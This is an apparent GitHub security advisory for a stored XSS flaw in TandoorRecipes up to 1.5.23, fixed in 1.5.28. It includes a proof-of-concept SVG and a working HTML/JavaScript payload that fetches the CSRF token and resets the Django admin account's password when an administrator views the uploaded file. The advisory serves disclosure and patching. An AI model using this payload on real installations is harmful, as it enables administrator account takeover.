Skip to content

Stored XSS through Unrestricted File Upload

High
vabene1111 published GHSA-56jp-j3x5-hh2w Jan 28, 2025

Package

TandoorRecipes

Affected versions

<= 1.5.23

Patched versions

1.5.28

Description

Summary

The file upload feature allows to upload arbitrary files, including html and svg. Both can contain malicious content (XSS Payloads)

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

Create poc.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

Upload the svg using https://tandoor-dev.lokal.kirlia.de/list/user-file/ and set it as "Logo SVG" of a space
The XSS does not trigger, when the svg is embedded as image, but it triggers when the SVG is requested directly:

image

image

The following html files will reset the password of the admin user (user with id 1), if it is viewed by an administrator

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Automated Request</title>
</head>
<body>
    <h1 id="status">Loading...</h1>
    <script>
        // Function to perform the GET request to fetch the CSRF token
        async function fetchCsrfToken() {
            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'GET',
                    credentials: 'include' // Include cookies for authentication
                });
                const text = await response.text();

                // Check if the response contains the "not authorized" message
                if (text.includes('not authorized to access this page')) {
                    throw new Error('not authorized');
                }

                // Extract the CSRF token from the response using a regular expression
                const csrfTokenMatch = text.match(/<input type="hidden" name="csrfmiddlewaretoken" value="(.*?)">/);
                
                if (csrfTokenMatch && csrfTokenMatch[1]) {
                    return csrfTokenMatch[1]; // Return the extracted CSRF token
                } else {
                    throw new Error('CSRF token not found');
                }
            } catch (error) {
                throw error; // Propagate the error to handle it in the main function
            }
        }

        // Function to perform the POST request to update the password
        async function changePassword(csrfToken) {
            const formData = new URLSearchParams();
            formData.append('csrfmiddlewaretoken', csrfToken);
            formData.append('username', 'admin');
            formData.append('password1', 'NewPassword123');
            formData.append('password2', 'NewPassword123');

            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'POST',
                    credentials: 'include', // Include cookies for authentication
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded'
                    },
                    body: formData.toString()
                });

                if (response.ok) {
                    return true; // Password update was successful
                } else {
                    throw new Error('Failed to update password');
                }
            } catch (error) {
                throw new Error('Error changing password: ' + error.message);
            }
        }

        // Main function to execute both requests sequentially
        (async function execute() {
            try {
                // Step 1: Fetch the CSRF token
                const csrfToken = await fetchCsrfToken();

                // Step 2: Use the CSRF token to update the password
                const result = await changePassword(csrfToken);

                // Update the page status based on the result
                if (result) {
                    document.getElementById('status').textContent = 'Password updated successfully!';
                }
            } catch (error) {
                // Check if the error is due to "not authorized"
                if (error.message === 'not authorized') {
                    document.getElementById('status').textContent = 'You are not an admin. Send this link to an admin user.';
                } else {
                    // Display other error messages on the page
                    document.getElementById('status').textContent = 'Error: ' + error.message;
                }
            }
        })();
    </script>
</body>
</html>

Upload the file. Now we need to find out the uuidv4. We can either set it as Custom Theme
image

Or as Logo
image

In both cases its path is linked in html responses

image

When a low privileged user accesses the html file, the following is shown

image

In the case of an admin user it resets the password of the user with id 1 (the default administrative user)

image

Here we can see that we can now login as admin:NewPassword123 (the username may differ for the user with id 1)

image

Impact

Execute arbitrary javascript in the browser of others. E.g. take over the admin account, do a ping sweep on the network or control the browser of the victim.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2025-23213

Weaknesses

Credits